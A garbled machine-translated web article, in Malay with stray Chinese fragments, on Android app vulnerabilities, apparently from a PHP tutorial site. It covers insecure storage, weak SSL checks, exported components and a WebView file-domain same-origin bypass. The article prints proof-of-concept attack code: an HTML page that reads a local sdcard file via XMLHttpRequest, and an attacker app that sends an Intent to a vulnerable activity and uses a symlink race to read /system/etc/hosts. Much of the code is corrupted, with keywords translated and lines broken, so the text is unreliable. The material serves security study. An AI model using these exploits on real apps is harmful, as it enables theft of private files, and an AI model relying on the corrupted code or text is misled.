


WebView Fail Domain Asal Dasar Bypass Analisis Contoh Kerentanan
May 15, 2023 am 08:22 AMPengetahuan asas seni bina Android
Lapisan kernel kernel
Kerentanan amat berbahaya dan mempunyai fleksibiliti yang kuat
Disebabkan pemacu yang banyak dan kompleks, mungkin terdapat menjadi banyak KerentananLapisan perpustakaan runtime sistem perpustakaan
Pustaka runtime system yang disediakan dalam bentuk middleware sistem
termasuk libc, WebKit, SQLite, dsb.AndroidRunTime
Mesin maya Dalvik dan pustaka kernelFrameWork lapisan rangka kerja aplikasi
Menyediakan satu siri perkhidmatan dan antara muka APIPengurus Aktiviti
Pembekal Kandungan
Lihat
Penjelajah
Pengurus Pemberitahuan
-
Lapisan aplikasi aplikasi
Aplikasi sistem
Skrin utama, Kenalan, Telefon, PelayarAplikasi lain
Program yang dilaksanakan oleh pembangun menggunakan API lapisan rangka kerja aplikasi
Komponen biasa Android
Aktiviti keaktifan
Perkhidmatan perkhidmatan
Penerima siaran BroadcastRecviver
Pembekal kandungan ContentProvider
Kerentanan Biasa Apl Android (10 Teratas Mudah Alih OWASP) Penggunaan platform yang tidak betul
Gambaran Keseluruhan
Penyalahgunaan fungsi platform, atau kegagalan untuk Keupayaan untuk menggunakan kawalan keselamatan platform . Seperti penyalahgunaan niat, penyalahgunaan kebenaran, dsb.Risiko
sangat luas dan mungkin melibatkan pelbagai perkhidmatan pada platform mudah alihContoh
Dalam sistem iOS, data kata laluan disimpan dalam fail tempatan dan bukannya dalam rantai kunci, yang mengakibatkan ia dibaca daripada data sandaran yang disulitkan pseudo
Dalam sistem Android, penggunaan yang tidak betul Niat menyebabkan pengguna berniat jahat merampas dan mengubah suai kandungan niat melakukan sebarang tindakan dengan kebenaran identiti proses asalStoran data tidak selamat
- <.>Komunikasi tidak selamat
- Fail atau direktori data Kosongkan storan teks
-
MODE_PRIVATE - Kosongkan storan teks
-
Mod MODE_PRIVATE tidak digunakan semasa mencipta pangkalan data -
Mod MODE_PRIVATE tidak digunakan semasa mencipta fail konfigurasi, menyebabkan atur cara lain membaca fail konfigurasi - disimpan dalam teks yang jelas, manakala pengguna akar Boleh Dibaca, membawa kepada kebocoran data sensitif
-
SharedPreferences data/data /package name/shared_prefs/*.xml -
SQLiteDatabases data/data package name/database/*.db -
InternalStorage data/data/program Pendaftaran/fail/* -
ExternalStorage / mnt/sdcard/* - Semak fail konfigurasi, pangkalan data, dsb. untuk melihat sama ada terdapat maklumat sensitif teks biasa
Kerentanan komunikasi data
- Semak sama ada parameter mod openFileOutput, getSharedPrefreences, openOrCreateDatabase dan fungsi lain ialah MODE_PRIVATE(0x0000)
Gunakan protokol teks biasa seperti HTTP untuk menghantar maklumat sensitif ke pelayan
-
Tangkap komunikasi teks yang jelas melalui penghidu LAN, WIFI awam yang berniat jahat, perkhidmatan proksi berniat jahat , rampasan DNS, dsb., mengakibatkan serangan man-in-the-middle -
Pengesahan sijil SSL yang lemah -
Cari .method public checkServerTrusted Cari .method dan kaedah tamat
Semak sama ada terdapat return-void
Begitu juga semak sama ada nilai pulangan pengesahan(String, SSLSession) sentiasa Benar dan sama ada parameter X509HostnameVerifier ialah ALLOW_ALLHOSTNAME_VERIFIER
Dayakan fungsi penghuraian HTTPS Fiddler, jana dan eksport sijil yang ditandatangani sendiri, dan pasangkannya pada telefon andaDayakan proksi Fiddler dan benarkan akses jauh Hos menyambung kepada proksi
-
Pelanggan harus melaksanakan kelas X509TruestManager, termasuk tiga kaedah checkServerTrustedcheckClientTrustedgetInstance
APP tidak mempunyai pengesahan sijil SSL -
Kegagalan untuk mengesahkan sijil akan menyebabkan pengecualian, yang kemudiannya akan dikendalikan oleh aplikasi -
Kegagalan untuk mengesahkan sijil pelayan akan membawa kepada TLS man-in- serangan tengah
Apabila menggunakan HttpsURLConnection, nama hos tidak disahkan apabila melaksanakan HostnameVerifier tersuai dan nama domain sijil serta nama tapak tidak disemak secara lalai untuk melihat sama ada ia sepadan. Atau apabila menetapkan HostnameVerifier HttpsURLConnection, tetapkannya kepada ALLOW_ALL_HOSTNAME_VERIIER untuk menerima semua nama domain.
Kaedah serangan
Kaedah perlombongan. 🎜>-
boleh dilangkau oleh Xp, Patch dan kaedah lain
Pengesahan kukuh sijil SSL
Kerentanan pendedahan komponen
Android:exported ialah atribut biasa kepada empat komponen utama, digunakan untuk menunjukkan sama ada aplikasi lain disokong untuk memanggil komponen semasa
Jika terdapat penapis niat, nilai lalai adalah benar; jika tidak, nilai lalai adalah palsu
Kawalan kebenaran eksport yang dieksport komponen
Memintas pengesahan
Selepas aktiviti didedahkan, ia dipanggil oleh pihak ketiga dan boleh log masuk /set semula kata laluan tanpa kata laluan
Kebocoran maklumat sensitif
recviver diaktifkan oleh pihak ketiga selepas didedahkan, dan penyahpepijatan serta maklumat lain boleh dilihat Maklumat sensitif yang terkandung dalam
-
Uree kuasa
Rendah Program istimewa melaksanakan tindakan keistimewaan tinggi
-
kaedah perlombongan
Lihat AndroidManifest.xml
Lakukan keselamatan penilaian melalui alat attacksurface drozer
Kerentanan penyulitan yang lemah
Pengekodan keras kata laluan
Penyahsusun, paparan akar, dsb. boleh diperolehipenyulitan lemah AES/DES
Mod ECB terdedah kepada serangan analisis atau main semula
Paparan Web
terutamanya merangkumi tiga kelemahan:
Pelaksanaan kod sewenang-wenangnya
Tulis halaman web yang merentasi objek. Jika terdapat kaedah getClass, terdapat kelemahan pelaksanaan kod jauh
Skrip Fiddler's before membenarkan sebarang paparan web diuji apabila mengakses mana-mana halaman web
Selepas Android 4.2, kaedah yang dianotasi dengan addJavascriptInterface boleh dipanggil dengan kaedah java dalam halaman web. Jika tiada penapisan, mungkin terdapat kelemahan
Kaedah perlombongan:
Kawalan domain bukan ketat
setAllowFileAccess
setAllowFileAccessFromFileURLs
- setAllowFileAccess ke remote pendedahan maklumat sensitif)
- Fail tempatan boleh diakses melalui serangan pautan simbolik: tidak kira betapa terhadnya, js boleh mengakses fail ini. Dengan menangguhkan pelaksanaan dan menggantikan fail semasa dengan pautan lembut yang menghala ke fail lain, fail yang ditunjuk oleh pautan simbolik boleh dibaca
- WebView jika pasangan dibuka JavaScript sokongan, dan tiada sekatan pada URL dalam bentuk fail:///, akan membawa kepada kebocoran maklumat sensitif seperti kuki, fail peribadi, pangkalan data, dll.
- Storan kata laluan dalam teks yang jelas
Apabila pengguna memilih untuk menyimpan nama pengguna dan kata laluan yang dimasukkan dalam WebViEW, mereka akan disimpan dalam teks yang jelas dalam data.db dalam direktori aplikasi
Seorang penyerang dengan kebenaran root boleh membacanya
- Analisis statik
Kesan dan dapatkan sasaran analisis utama dengan pantas
- Semak fail AndroidManifest
- Analisis skrip Kod Smali
- Analisis dinamik
Pengesahan dan penilaian bahaya risiko yang disyaki
- Analisis mod nyahpepijat
- Cuba pengesahan operasi/kelemahan
- drozer
- Data analisis tangkapan paket dan antara muka
- Analisis terbalik
Pemecahan penyulitan dan analisis lanjut logik dan kod
-- Sistem bantuan automatik
- MobSF termasuk antara muka web bahagian hadapan,
- Marvin termasuk Antara Muka web bahagian hadapan, masalah penggunaan
- Pemalam Xposed Inspeckage
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(JSInterface() baharu, "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override
view public booler t hasil) {
webView.loadUrl(mUrl1); } kelas JSInterface { public String onButtonClick(String text) { = ; s textring runOnUiThread(new Runnable() { @Override awam Log.e("leehong2", "onButtonClick: text = " + str);toast.makeText (getApplicationContext ()," onButtonClick: text = " + str, toast.length_long) .show (); 🎜> }); return "Teks ini dikembalikan daripada lapisan Java. js text = " + text; } public void onImageClick(String url, int width, int height) { final String +wid str =" + "url th = "" + lebar + " tinggi = " + tinggi; Log.i("leehong2", str); runOnUiThread(new Runnable() { @Override awam Toast.makeText(getApplicationContext(), str, Toast .LENGTH_LONG).tunjukkan(); } }); } } }这里webView.getSettings().setAllowFileAccessFromFileURLScripts(翗迗行迗迗迗迗迗这迗过这这里fail文件。
我们再来看attack_file.html的代码:'<font ><font face="&quot;"><font ><html> <badan> <skrip> function stealFile() { var file = "file:///mnt/sdcard/233.txt"; var xmlHttpReq = XMLHttpRequest(); xmlHttpReq.onreadystatechange = function(){ if(xmlHttpReq.readyState == 4){ makluman semula; } } xmlHttpReq.open("GET", file); xmlHttpReq.send(null); } curiFail(); </skrip> </badan> </html> </font></font></font>由于setAllowFileAccessFromFileURLs为true,所以webView.load这个html可以/这个html可以/返/回。 >
如果setAllowFileAccessFromFileURLs为false,webView.load这个html不可以返回/mnt/sdcard/2333.txt的值。
即使URcesssetFromFileAccess不这个不不一一们返Access过一种方式也可以跨过这个限制,这个我下一次讲讲.
Mula-mula jalankan WebViewFileDemo1, dan kemudian jalankan AttackWebView untuk menyerang WebView.
Mula-mula kita lihat WebViewFileDemo1, kod utama adalah seperti berikut:
<font face="&quot;"><font >pakej com.example.webviewfiledemo [/; saiz][/ font][/p]
import android.app.Activity;
import android.content.Intent;
import android.net.Uri; 🎜>
import android.os.Bundle; import android.util.Log; import android.webkit.JsResult; ;import android.webkit.WebView; import android.widget.Toast; private Uri mUri; url String peribadi; @Override dilindungi void (Bundle savedInstanceState) { super.onCreate(savedInstanceState); 🎜>
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(false); ().setAllowFileAccess(false);
webView.setWebChromeClient(WebChromeClient() baharu {
@Override
public boolean onJsAlert(WebView url, String message Hasil Js) {
🎜>
}) ; > jika (i != null) { mUri = i.getData(); } if (mUri != null) { url = mUri.toString(); } } if (url != null) { webView.loadUrl(url(url); } } } } </font></font>Aktiviti Ini Terima Niat dari luar, ekstrak URL dalam Niat dan muatkannya. Kemudian mari kita lihat projek AttackWebView, iaitu projek yang menghantar Intent ke com.example.webviewfiledemo.MainActivity. Kodnya adalah seperti berikut: Aktiviti Utama kelas awam memanjangkan Aktiviti { HTML String statik akhir awam = "<body>" + " <u> ;Tunggu beberapa saat.</u>" + "<skrip>" + "var d = document;"+ " function doitjs( ){"+ "var xhr = new XMLHttpRequest;"+ "xhr.onload = function(){"+ "var txt = xhr .responseT ext; "+ "d.body.appendChild(d.createTextNode(txt));"+ "alert(txt);"+"};"+ "xhr.open('GET',d.URL);"+ "xhr.send(null);"+ "xhr.send(null);"+ (doitjs,8000);"+"</skrip>"+
"</body>";
rentetan statik awam MY_TMP_DIR;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
doit();
}
public void doit() {
String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
cuba {
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo "" + HTML + "" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP("file://" + HTML_PATH);
Thread.sleep(6000);
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
} tangkapan (Pengecualian e) {
// TODO: handle exception
}
} PP(String url) {
cuba {
Niat niat = Niat baharu(Intent.ACTION_MAIN,Uri.parse(url));
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
mulakanAktiviti(niat);
} tangkapan (Pengecualian e) {
// TODO: handle exception
}
cm } cmd) {
cuba {
Rentetan[] tmp = Rentetan baharu[] { "/system/bin/sh", "-c", cmd };
Runtime.getRuntime().exec(tmp);
} tangkapan (Pengecualian e) {
// TODO: kendalikan pengecualian
}
} >
} 🎜>通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/个这语.html,webview/庆个这个这个这个,html内容如下:
HTML String statik akhir awam = "<body>" +
"<u>Tunggu beberapa saat.</u>" +
"<skrip>" +
"var d = document;"+
"function doitjs(){"+
"var xhr = XMLHttp baharu
"var txt = xhr.responseText;"+ "d.body.appendChild(d.createTextNode(txt));"+ "alert(txt);"+"};"+ "xhr.open('GET',d.URL);"+ "xhr. hantar(null);"+ "}"+"setTimeout(doitjs,8000);"+ "</script>"+ "</body>";
Apabila WebViewFileDemo1 berfungsi Selepas webView memuatkan A0.html, fungsi ini html adalah untuk menangguhkan membaca A0.html sendiri selama 8 saat. Mari kita kembali ke projek AttackWebView dan lihat kod tersebut.
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo "" + HTML + "" > " + HTML_PATH("chmod -R 777 "); + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP("file://" + HTML_PATH); >
cmdexec("rm " + HTML_PATH); cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);Panggilan selesai Selepas invokeVulnAPP, 6 saat kemudian, kami mula-mula memadamkan A0.html, dan kemudian menyambungkannya dengan lembut ke /system/etc/hosts sekali lagi. Ambil perhatian bahawa apabila webView dalam projek WebViewFileDemo1 memuatkan A0.html pada masa ini, fungsi html ini adalah untuk menangguhkan membaca A0.html itu sendiri selama 8 saat, jadi sambungan lembut /system/etc/hosts dibaca selepas 8 saat.Atas ialah kandungan terperinci WebView Fail Domain Asal Dasar Bypass Analisis Contoh Kerentanan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Artikel Panas

Alat panas Tag

Artikel Panas

Tag artikel panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas

Gunakan fungsi File.length() java untuk mendapatkan saiz fail

Bagaimana untuk menukar gumpalan php kepada fail

Paparkan kandungan web menggunakan komponen JavaFX WebView baharu dalam Java 13

Namakan semula fail menggunakan fungsi File.renameTo() java

Gunakan fungsi File.getParentFile() java untuk mendapatkan direktori induk fail

Gunakan fungsi File.getParent() java untuk mendapatkan laluan induk fail

Bagaimana untuk memadam fail atau direktori menggunakan kaedah File.delete() dalam Java?
